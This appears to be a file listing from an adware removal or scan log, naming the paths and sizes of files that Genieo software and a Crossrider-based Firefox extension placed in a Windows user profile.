C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\forPictures.png (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\layers.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\js\notification-debug.js (534 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm1frame2sm.png (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\wt.png (331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\arrow_down_disable.gif (821 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\open_splash.png (696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\poweredByGenieo.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\sendFeedbackButton2.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\shortcut.png (381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-clear.png (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\item_controls_bg.png (167 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\connect_with_facebook.png (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\js\classes.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\easer.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\disabled_nav_prev2.gif (88 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\img\social_box.png (253 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\img\notification_controls.png (478 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\objectivehot_enabled_nav_next.png (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\tpl\main.tpl (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\underconstructions.jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_10sm.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\loader.gif (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\personalizationMeter\redArrow.png (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\sad.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\img\play_icon.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\noPicture_.png (976 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\play_big.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\tools.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\trash.png (515 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\genieo_logo.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\template_factory.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_v.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\icons\thumb_down.png (703 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\miniview.css (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\mobile.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\Renderers.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\defaultPicture.png (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\template2sm.png (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\big_quote.gif (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\template1sm.jpg (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\template3.jpg (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\magazinePreview\coverShadow.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\bigHotItemIcon.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\prog_bar.gif (101 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twit_pic.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\x_gray.png (193 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\pink.gif (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\topicDefault.gif (565 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\birthday.html (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_x.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\footer_left.png (256 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\tpl\main.tpl (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\prototype.postmessage.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack2sm.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-few-clouds.png (763 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\pagelet_tip_white_down.png (191 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\personalizationMeter\lowLevel.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\settings\okCancelButton.png (734 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\dfImg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\dot_clear.gif (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\genieo_is_installed.js (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\bday_image.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\ie9.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\.settings\org.eclipse.core.resources.prefs (124 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002_old\text (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso9E81.tmp (25714 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo_old\img\tray (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso9E82.tmp\KillProcDLL.dll (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002_old\img\tray (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso9E82.tmp\fct.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo_old\text (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\genieo_temp\framework_setup.gen (1027548 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\upgrade\updater_manifest.xml (297 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\genieo_temp\genieo_setup.gen (62942 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\genieo_temp\trayapp_setup.gen (201198 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\upgrade\partner_manifest.xml (550 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\log\Updater.log (11205 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\upgrade\manifest.xml (644 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\conf\partner_manifest.xml (550 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn2EAE.tmp\wsukuicep.dll (2138 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn2EAE.tmp\eodefhbq.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn2EAE.tmp\Bientrmqu.exe (1601426 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn2EAE.tmp\zejghs.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn2EAE.tmp\Fgaaylgtspqoin.tmp (338643 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (679 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a04376d018c7f57166784c7b7c9ce26a.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\203215960bc84b34779290b6686af3ba.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\90e63d036d2b9fc12cd158b4f539bcbe.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\feba16e431acf6787d798f5a9a25b461.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\1da4e9cb9c8d71af99bf141e81c9e6f0.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\712a835c7109cc69e3574b45cfcfd417.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\8b85c7d2bded4479e129e5c1d0805d63.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\7e2e496c414774497d9dbb5764fe5ef4.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\041f658ab7a6b65be3e324c7aa4ac506.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7ab8be2ef32b671b93614c870b06ae6a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\192.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\356.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\337.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\2a7c678b2272bba275ef9d86a0b08332.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\1b18fee2faac28dd1ee96e5d1e201f7f.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\1da572708687d862c6b62a1b83e919cc.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\78f54dac2a4f588680104283fbe62691.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4909a6b4e28c7f6b9de3902522ce7efc.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\eded739ec030aa9a10fdf987e0819c83.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\af8becceb61699fdda6fda5db07ef247.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\b9ffe49f07117f8c01997eec767be8b4.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3cc7b20c09822fd33288371b61edea74.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\875058d03a1a2214ea5073412184f4d7.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (949 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\3a676029ed47abd5aa7270175a0fbb66.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\e4bbf50f3d02f4d934a320deaac87882.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\1d344bfd9173f6e94a7d3eec0cf5ec60.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\191a32615411c2e29c63a4b4035c3dbc.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\aa0c5a0f9886dd7a5611ba4fdf62df2a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\f627987faa37a3c1b3d042588a758664.js (659 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\c87fc0b4e8e63cf7f630e5148e9ecf71.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c2b639e81cacfde3f6e6787f80abf255.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\193.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dfc576fc098717484dcf8ac65144ef04.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d4a3dc407cd4febf3a1a35d528b32230.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\91a809632c08ba4282cd911f93794d8a.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c7ee020dd8873c9596905f760b5b7e2f.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\5f77cb9554036a195eb4e87da9fcb490.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9a572273f1b919d122b6871d7e510574.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\16b011ab2d432db295222e46c614a9b8.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9aacec53ae48048ec99c22a279d42718.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\21593193bec22fe30071c32e3e04ffc2.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\8042702cc192b8f516306685e337308a.js (12 bytes)
